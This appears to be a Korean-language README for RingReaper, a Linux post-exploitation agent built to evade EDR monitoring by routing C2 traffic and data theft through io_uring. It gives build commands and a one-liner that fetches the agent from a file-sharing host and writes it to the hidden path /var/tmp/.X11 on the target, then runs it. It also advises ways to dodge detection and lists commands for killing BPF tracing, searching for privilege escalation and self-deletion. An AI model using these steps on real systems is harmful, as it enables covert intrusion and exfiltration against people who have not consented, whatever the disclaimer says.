
io_uring을 사용해 일반적인 시스템 콜을 회피함으로써 EDR 탐지를 은밀하게 우회하는 Linux 포스트 익스플로잇 에이전트.
RingReaper는 EDR 솔루션에 탐지될 가능성을 최소화하면서 은밀하게 작동해야 하는 사람들을 위해 설계된 Linux용 간단한 사후 침투(post-exploitation) 에이전트입니다. 이 프로젝트의 아이디어는 Linux 커널의 새로운 비동기 I/O 인터페이스인 io_uring을 활용하여 대부분의 EDR이 모니터링하거나 후킹하는 경향이 있는 전통적인 시스템 호출을 피하는 것이었습니다.
실제로 RingReaper는 read, write, recv, send, connect 등의 호출을 비동기 I/O 작업(io_uring_prep_*)으로 대체하여, 보안 제품이 일반적으로 표준화된 방식으로 수집하는 후킹 및 이벤트 추적에 대한 노출을 줄입니다.
참고: RingReaper 내 일부 함수는 디렉터리 읽기(
opendir,readdir) 또는 심볼릭 링크 확인(readlink)과 같은 전통적인 호출에 여전히 의존합니다. io_uring이 이러한 유형의 작업을 아직 기본적으로 완전히 지원하지 않기 때문입니다. 그럼에도 불구하고 테스트 중 이러한 호출은 모니터링되는 네트워크 I/O 경로에 속하지 않기 때문에 테스트된 EDR에서 경고를 트리거하지 않았습니다.
요약하자면, RingReaper는 가능한 한 전통적인 호출을 피하도록 구축되었으며, 그러한 호출을 사용해야 했던 경우에도 일반적인 보안 에이전트에서 경고나 탐지 없이 뛰어난 회피 능력을 입증했습니다.
전체 상세 문서는 다음에서 확인하세요:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
저자: https://www.linkedin.com/in/mathsalves/
루트킷 연구자
RingReaper에서는 제어 명령, 업로드, 다운로드를 포함한 모든 데이터 트래픽이 io_uring을 통과해야 합니다. 이는 또한 가장 민감한 작업이 후킹 및 전통적인 호출 기반 EDR 모니터링의 레이더에 포착되지 않도록 보장합니다.
RingReaper는 처음부터 EDR 모니터링을 우회하도록 설계되었습니다. 많은 보안 솔루션은 커널 수준에서 클래식 시스템 호출(read, recv, send, connect)을 가로채는 방식으로 탐지 트리거를 구성합니다. io_uring은 비교적 새롭고 이러한 제품의 텔레메트리 파이프라인에 덜 통합되어 있어 대부분의 에이전트에서 종종 눈에 띄지 않으므로, 경고를 트리거하지 않고 C2 세션과 데이터 유출이 가능합니다.
디렉터리 읽기와 같이 여전히 이전 시스템 호출에 의존하는 함수들조차도 경보를 울리지 않을 만큼 은밀하게 유지되었습니다.
liburing 라이브러리다음 커널 버전에서 만 테스트되었습니다;
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
테스트 중 EDR이 GCC 사용을 실시간으로 모니터링하여 agent.c 컴파일을 감지한다는 것을 확인했습니다 (wget/curl을 사용하지 않는 것이 좋습니다). 이를 우회하기 위해 제 머신에서 에이전트를 정적으로 컴파일하고, 완성된 바이너리를 temp.sh를 통해 전송한 다음, 대상에서 Python을 사용하여 다운로드하고 실행했습니다. 이 방법은 경고 없이 작동했습니다.
서버 (공격 박스) :
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443에이전트 (대상 머신) :
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"버전 2.0:
Pull Request를 자유롭게 보내고 프로젝트에 기여해 주세요. RingReaper에서 오류가 발생하면 이슈를 생성하여 알려주시기 바랍니다.
이 코드는 교육 목적, 연구, 그리고 회피 기술의 통제된 데모를 위해서만 개발되었습니다. 승인된 환경 밖에서의 사용이나 악의적인 목적의 사용은 엄격히 금지되며 전적으로 사용자의 책임입니다. 승인되지 않았거나 불법적인 사용은 지역, 국가 또는 국제 법률을 위반할 수 있습니다.
| 명령어 | 설명 | 백엔드 |
|---|
get | 대상에서 파일 조회 | 100% io_uring |
put | 파일 업로드 (에이전트 측에서 recv 사용) | 100% io_uring |
killbpf | tracing 비활성화, /sys/fs/bpf 파일 제거 및 bpf-map을 사용하는 프로세스 종료 | 기존 호출 + io_uring |
users | utmp를 읽어 로그인한 사용자 나열 | 100% io_uring |
ss / netstat | /proc/net/tcp에서 TCP 연결 나열 | 100% io_uring |
privesc | statx를 사용하여 SUID 바이너리 검색 | 100% io_uring |
ps | 프로세스 나열 (opendir, readdir 사용) | 기존 호출 + io_uring |
kick | pts 세션 종료 (opendir, readdir, kill, readlink 사용) | 기존 호출 + io_uring |
me | PID/TTY 표시 (getpid, ttyname) | 기존 호출 + io_uring |
selfdestruct | 현재 바이너리 삭제 (readlink 사용) | 기존 호출 + io_uring |
exit | 연결 종료 및 프로그램 종료 | 100% io_uring |
help | 도움말 표시 | 100% io_uring |